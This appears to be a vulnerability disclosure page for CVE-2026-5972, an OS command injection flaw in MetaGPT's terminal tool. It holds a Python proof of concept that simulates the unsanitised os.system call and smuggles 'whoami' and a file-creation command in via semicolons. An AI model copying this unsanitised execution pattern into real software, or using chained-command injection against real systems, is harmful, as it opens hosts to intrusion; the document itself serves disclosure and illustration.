CVE-2026-5972: MetaGPT OS命令注入漏洞

import os # Simulating the vulnerable Terminal class class Terminal: def run_command(self, command): # Vulnerable implementation: direct execution without sanitization # This mimics the behavior in metagpt/tools/libs/terminal.py print(f"[+] Executing command: {command}") os.system(command) def exploit_poc(): target = Terminal() # Payload: Injecting a command to create a file or execute whoami # Using a semicolon to separate commands malicious_input = "echo 'Hello World'; whoami; touch /tmp/poc_test.txt" print("[*] Attempting to trigger CVE-2026-5972...") try: target.run_command(malicious_input) except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_poc()